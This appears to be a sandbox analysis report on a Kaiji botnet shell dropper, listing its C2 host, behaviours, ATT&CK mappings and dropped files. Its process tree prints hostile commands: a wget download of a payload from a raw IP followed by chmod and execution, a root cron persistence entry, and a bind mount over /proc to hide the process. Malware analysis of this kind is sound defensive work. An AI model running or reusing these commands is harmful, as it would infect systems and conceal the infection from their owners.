Overview

overview

10

Static

static

1

1.sh

ubuntu-18.04-amd64

10

1.sh

debian-9-armhf

10

1.sh

debian-9-mips

10

1.sh

debian-9-mipsel

1

Analysis

  • max time kernel
    149s
  • max time network
    147s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    22/10/2026, 17:07

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    1.sh
  • Size 5KB
  • Sample261022-vm73assvhy
  • SHA256 d751e9f3b56f8780a9c9fe089103c5520b1d398ca5f958964be2693cde596437
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
botnetdefense_evasiondiscoveryexecutionkaijipersistenceprivilege_escalation

Malware Config

Extracted

Family

  • kaiji

C2

  • zz.woshisaob.club:25195

Signatures

  • Family: Kaiji

    Kaiji is a multi-functional malware written Golang.

    botnetkaiji
  • Kaiji 1 IoCs

    Kaiji payload

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 7 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Creates/modifies environment variables 1 TTPs 3 IoCs

    Creating/modifying environment variables is a common persistence mechanism.

    persistenceprivilege_escalationdefense_evasion
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies init.d 2 TTPs 17 IoCs

    Adds/modifies system service, likely for persistence.

    persistence
  • Write file to user bin folder 2 IoCs
    persistence
  • Modifies Bash startup script 2 TTPs 3 IoCs
    persistence
  • Command and Scripting Interpreter: Unix Shell 1 TTPs 2 IoCs

    Execute scripts via Unix Shell.

    execution
  • Enumerates kernel/hardware configuration 1 TTPs 37 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/1.sh
    /tmp/1.sh
    1⤵
    • Executes dropped EXE
    PID:647
    • /bin/uname
      uname -s
      2⤵
        PID:649
      • /bin/uname
        uname -m
        2⤵
          PID:650
        • /bin/rm
          rm -f linux_arm7
          2⤵
            PID:653
          • /usr/bin/wget
            wget -t 1 http://94.154.43.148/linux_arm7
            2⤵
            • Writes file to tmp directory
            PID:656
          • /bin/chmod
            chmod +x linux_arm7
            2⤵
            • File and Directory Permissions Modification
            PID:679
          • /tmp/linux_arm7
            ./linux_arm7
            2⤵
            • Executes dropped EXE
            • Enumerates kernel/hardware configuration
            PID:680
            • /tmp/linux_arm7
              ./linux_arm7 " "
              3⤵
              • Modifies Watchdog functionality
              • Creates/modifies environment variables
              • Modifies init.d
              • Write file to user bin folder
              • Modifies Bash startup script
              • Enumerates kernel/hardware configuration
              • Reads runtime system information
              PID:684
              • /bin/sh
                /bin/sh -c "/etc/32676&"
                4⤵
                • Executes dropped EXE
                • Command and Scripting Interpreter: Unix Shell
                PID:690
              • /usr/sbin/service
                service crond start
                4⤵
                  PID:692
                  • /usr/bin/basename
                    basename /usr/sbin/service
                    5⤵
                      PID:694
                    • /usr/bin/basename
                      basename /usr/sbin/service
                      5⤵
                        PID:695
                      • /bin/systemctl
                        systemctl --quiet is-active multi-user.target
                        5⤵
                        • Enumerates kernel/hardware configuration
                        • Reads runtime system information
                        PID:696
                      • /bin/sed
                        sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
                        5⤵
                        • Reads runtime system information
                        PID:699
                      • /bin/systemctl
                        systemctl list-unit-files --full "--type=socket"
                        5⤵
                        • Enumerates kernel/hardware configuration
                        PID:698
                      • /bin/systemctl
                        systemctl -p Triggers show dbus.socket
                        5⤵
                        • Enumerates kernel/hardware configuration
                        • Reads runtime system information
                        PID:700
                      • /bin/systemctl
                        systemctl -p Triggers show ssh.socket
                        5⤵
                        • Enumerates kernel/hardware configuration
                        • Reads runtime system information
                        PID:701
                      • /bin/systemctl
                        systemctl -p Triggers show syslog.socket
                        5⤵
                        • Enumerates kernel/hardware configuration
                        • Reads runtime system information
                        PID:702
                      • /bin/systemctl
                        systemctl -p Triggers show systemd-fsckd.socket
                        5⤵
                        • Enumerates kernel/hardware configuration
                        • Reads runtime system information
                        PID:703
                      • /bin/systemctl
                        systemctl -p Triggers show systemd-initctl.socket
                        5⤵
                        • Enumerates kernel/hardware configuration
                        • Reads runtime system information
                        PID:704
                      • /bin/systemctl
                        systemctl -p Triggers show systemd-journald-audit.socket
                        5⤵
                        • Enumerates kernel/hardware configuration
                        • Reads runtime system information
                        PID:707
                      • /bin/systemctl
                        systemctl -p Triggers show systemd-journald-dev-log.socket
                        5⤵
                        • Enumerates kernel/hardware configuration
                        • Reads runtime system information
                        PID:710
                      • /bin/systemctl
                        systemctl -p Triggers show systemd-journald.socket
                        5⤵
                        • Enumerates kernel/hardware configuration
                        PID:713
                      • /bin/systemctl
                        systemctl -p Triggers show systemd-networkd.socket
                        5⤵
                        • Enumerates kernel/hardware configuration
                        • Reads runtime system information
                        PID:717
                      • /bin/systemctl
                        systemctl -p Triggers show systemd-rfkill.socket
                        5⤵
                        • Enumerates kernel/hardware configuration
                        • Reads runtime system information
                        PID:721
                      • /bin/systemctl
                        systemctl -p Triggers show systemd-udevd-control.socket
                        5⤵
                        • Enumerates kernel/hardware configuration
                        • Reads runtime system information
                        PID:724
                      • /bin/systemctl
                        systemctl -p Triggers show systemd-udevd-kernel.socket
                        5⤵
                        • Enumerates kernel/hardware configuration
                        • Reads runtime system information
                        PID:727
                    • /usr/local/sbin/systemctl
                      systemctl start crond.service
                      4⤵
                        PID:692
                      • /usr/local/bin/systemctl
                        systemctl start crond.service
                        4⤵
                          PID:692
                        • /usr/sbin/systemctl
                          systemctl start crond.service
                          4⤵
                            PID:692
                          • /usr/bin/systemctl
                            systemctl start crond.service
                            4⤵
                              PID:692
                            • /sbin/systemctl
                              systemctl start crond.service
                              4⤵
                                PID:692
                              • /bin/systemctl
                                systemctl start crond.service
                                4⤵
                                • Enumerates kernel/hardware configuration
                                PID:692
                              • /bin/sh
                                /bin/sh -c "echo \"*/1 * * * * root /.mod \" >> /etc/crontab"
                                4⤵
                                • Creates/modifies Cron job
                                • Command and Scripting Interpreter: Unix Shell
                                PID:739
                              • /usr/bin/renice
                                renice -20 684
                                4⤵
                                  PID:754
                                • /bin/mount
                                  mount -o bind /tmp/ /proc/684
                                  4⤵
                                    PID:757
                                  • /usr/sbin/service
                                    service cron start
                                    4⤵
                                      PID:759
                                      • /usr/bin/basename
                                        basename /usr/sbin/service
                                        5⤵
                                          PID:760
                                        • /usr/bin/basename
                                          basename /usr/sbin/service
                                          5⤵
                                            PID:761
                                          • /bin/systemctl
                                            systemctl --quiet is-active multi-user.target
                                            5⤵
                                            • Enumerates kernel/hardware configuration
                                            PID:762
                                          • /bin/sed
                                            sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
                                            5⤵
                                              PID:766
                                            • /bin/systemctl
                                              systemctl list-unit-files --full "--type=socket"
                                              5⤵
                                              • Enumerates kernel/hardware configuration
                                              • Reads runtime system information
                                              PID:765
                                            • /bin/systemctl
                                              systemctl -p Triggers show dbus.socket
                                              5⤵
                                              • Enumerates kernel/hardware configuration
                                              • Reads runtime system information
                                              PID:767
                                            • /bin/systemctl
                                              systemctl -p Triggers show ssh.socket
                                              5⤵
                                              • Enumerates kernel/hardware configuration
                                              • Reads runtime system information
                                              PID:768
                                            • /bin/systemctl
                                              systemctl -p Triggers show syslog.socket
                                              5⤵
                                              • Enumerates kernel/hardware configuration
                                              PID:769
                                            • /bin/systemctl
                                              systemctl -p Triggers show systemd-fsckd.socket
                                              5⤵
                                              • Enumerates kernel/hardware configuration
                                              • Reads runtime system information
                                              PID:770
                                            • /bin/systemctl
                                              systemctl -p Triggers show systemd-initctl.socket
                                              5⤵
                                              • Enumerates kernel/hardware configuration
                                              • Reads runtime system information
                                              PID:771
                                            • /bin/systemctl
                                              systemctl -p Triggers show systemd-journald-audit.socket
                                              5⤵
                                              • Enumerates kernel/hardware configuration
                                              • Reads runtime system information
                                              PID:772
                                            • /bin/systemctl
                                              systemctl -p Triggers show systemd-journald-dev-log.socket
                                              5⤵
                                              • Enumerates kernel/hardware configuration
                                              • Reads runtime system information
                                              PID:773
                                            • /bin/systemctl
                                              systemctl -p Triggers show systemd-journald.socket
                                              5⤵
                                              • Enumerates kernel/hardware configuration
                                              PID:774
                                            • /bin/systemctl
                                              systemctl -p Triggers show systemd-networkd.socket
                                              5⤵
                                              • Enumerates kernel/hardware configuration
                                              • Reads runtime system information
                                              PID:775
                                            • /bin/systemctl
                                              systemctl -p Triggers show systemd-rfkill.socket
                                              5⤵
                                              • Enumerates kernel/hardware configuration
                                              • Reads runtime system information
                                              PID:776
                                            • /bin/systemctl
                                              systemctl -p Triggers show systemd-udevd-control.socket
                                              5⤵
                                              • Enumerates kernel/hardware configuration
                                              • Reads runtime system information
                                              PID:777
                                            • /bin/systemctl
                                              systemctl -p Triggers show systemd-udevd-kernel.socket
                                              5⤵
                                              • Enumerates kernel/hardware configuration
                                              • Reads runtime system information
                                              PID:778
                                          • /usr/local/sbin/systemctl
                                            systemctl start cron.service
                                            4⤵
                                              PID:759
                                            • /usr/local/bin/systemctl
                                              systemctl start cron.service
                                              4⤵
                                                PID:759
                                              • /usr/sbin/systemctl
                                                systemctl start cron.service
                                                4⤵
                                                  PID:759
                                                • /usr/bin/systemctl
                                                  systemctl start cron.service
                                                  4⤵
                                                    PID:759
                                                  • /sbin/systemctl
                                                    systemctl start cron.service
                                                    4⤵
                                                      PID:759
                                                    • /bin/systemctl
                                                      systemctl start cron.service
                                                      4⤵
                                                      • Enumerates kernel/hardware configuration
                                                      • Reads runtime system information
                                                      PID:759
                                                    • /bin/systemctl
                                                      systemctl start crond.service
                                                      4⤵
                                                      • Enumerates kernel/hardware configuration
                                                      PID:781
                                                • /bin/rm
                                                  /bin/rm /tmp/1.sh
                                                  2⤵
                                                    PID:685
                                                • /etc/32676
                                                  /etc/32676
                                                  1⤵
                                                  • Executes dropped EXE
                                                  PID:691
                                                  • /bin/sleep
                                                    sleep 60
                                                    2⤵
                                                      PID:693
                                                    • /etc/opt.services.cfg
                                                      /etc/opt.services.cfg
                                                      2⤵
                                                      • Executes dropped EXE
                                                      • Enumerates kernel/hardware configuration
                                                      PID:835
                                                      • /etc/opt.services.cfg
                                                        /etc/opt.services.cfg " "
                                                        3⤵
                                                        • Enumerates kernel/hardware configuration
                                                        PID:839
                                                    • /bin/sleep
                                                      sleep 60
                                                      2⤵
                                                        PID:840
                                                      • /etc/opt.services.cfg
                                                        /etc/opt.services.cfg
                                                        2⤵
                                                        • Executes dropped EXE
                                                        • Enumerates kernel/hardware configuration
                                                        PID:867
                                                        • /etc/opt.services.cfg
                                                          /etc/opt.services.cfg " "
                                                          3⤵
                                                          • Enumerates kernel/hardware configuration
                                                          PID:871
                                                      • /bin/sleep
                                                        sleep 60
                                                        2⤵
                                                          PID:872

                                                      Network

                                                            MITRE ATT&CK Enterprise v16

                                                            Reconnaissance

                                                            Resource Development

                                                            Initial Access

                                                            Execution

                                                            Command and Scripting Interpreter

                                                            1
                                                            T1059

                                                            Unix Shell

                                                            1
                                                            T1059.004

                                                            Scheduled Task/Job

                                                            1
                                                            T1053

                                                            Cron

                                                            1
                                                            T1053.003

                                                            Persistence

                                                            Boot or Logon Autostart Execution

                                                            2
                                                            T1547

                                                            Boot or Logon Initialization Scripts

                                                            1
                                                            T1037

                                                            RC Scripts

                                                            1
                                                            T1037.004

                                                            Event Triggered Execution

                                                            1
                                                            T1546

                                                            Unix Shell Configuration Modification

                                                            1
                                                            T1546.004

                                                            Hijack Execution Flow

                                                            1
                                                            T1574

                                                            Path Interception by PATH Environment Variable

                                                            1
                                                            T1574.007

                                                            Scheduled Task/Job

                                                            1
                                                            T1053

                                                            Cron

                                                            1
                                                            T1053.003

                                                            Privilege Escalation

                                                            Boot or Logon Autostart Execution

                                                            2
                                                            T1547

                                                            Boot or Logon Initialization Scripts

                                                            1
                                                            T1037

                                                            RC Scripts

                                                            1
                                                            T1037.004

                                                            Event Triggered Execution

                                                            1
                                                            T1546

                                                            Unix Shell Configuration Modification

                                                            1
                                                            T1546.004

                                                            Hijack Execution Flow

                                                            1
                                                            T1574

                                                            Path Interception by PATH Environment Variable

                                                            1
                                                            T1574.007

                                                            Scheduled Task/Job

                                                            1
                                                            T1053

                                                            Cron

                                                            1
                                                            T1053.003

                                                            Defense Evasion

                                                            File and Directory Permissions Modification

                                                            1
                                                            T1222

                                                            Linux and Mac File and Directory Permissions Modification

                                                            1
                                                            T1222.002

                                                            Hijack Execution Flow

                                                            1
                                                            T1574

                                                            Path Interception by PATH Environment Variable

                                                            1
                                                            T1574.007

                                                            Impair Defenses

                                                            1
                                                            T1562

                                                            Credential Access

                                                            Discovery

                                                            System Information Discovery

                                                            1
                                                            T1082

                                                            Lateral Movement

                                                            Collection

                                                            Command and Control

                                                            Exfiltration

                                                            Impact

                                                            Replay Monitor

                                                            Loading Replay Monitor...

                                                            Downloads

                                                            .mod
                                                            • Path /.mod
                                                            • Size 34B
                                                            • SHA256 6ab64e727571458d4884fb2fe82c27c467db0699cb8f648b3f0217c35d2b7511
                                                            • MD5 SHA1 SHA512
                                                            Submit Download

                                                            .walk
                                                            • Path /etc/.walk
                                                            • Size 41B
                                                            • SHA256 3b8da6fc9bc0db02228501e140916a1c4037dcf41c3b5e4e57dd4c053d943ea4
                                                            • MD5 SHA1 SHA512
                                                            Submit Download

                                                            .walk
                                                            • Path /etc/.walk
                                                            • Size 90B
                                                            • SHA256 6dc13c083507266d0a9c38c8f2c73c67d6775bb63927a21f2bfa8f8f791285b1
                                                            • MD5 SHA1 SHA512 TLSH
                                                            Submit Download

                                                            32676
                                                            • Path /etc/32676
                                                            • Size 61B
                                                            • SHA256 b7ce294613dd2c237a4a50548bfcd5c14d166107f2d2e965499bc78695300d5b
                                                            • MD5 SHA1 SHA512 TLSH
                                                            Submit Download

                                                            gateway.sh
                                                            • Path /etc/profile.d/gateway.sh
                                                            • Size 911B
                                                            • SHA256 836cd5eee60bdb3444bc37e4a3a4db97791b55f86f7e416718c909522a93ebe8
                                                            • MD5 SHA1 SHA512 TLSH
                                                            Submit Download

                                                            linux_arm7
                                                            • Path /tmp/linux_arm7
                                                            • Size 2.0MB
                                                            • SHA256 28a3088ff85b706faab583271b8bfbc68ad876c4dd0b0353113dd70318ea2e97
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            find
                                                            • Path /usr/bin/include/find
                                                            • Size 134KB
                                                            • SHA256 81a10dad907b23521461bd3fc83c2cedb2218933a328d9a05e3c9f6a9a1d42aa
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download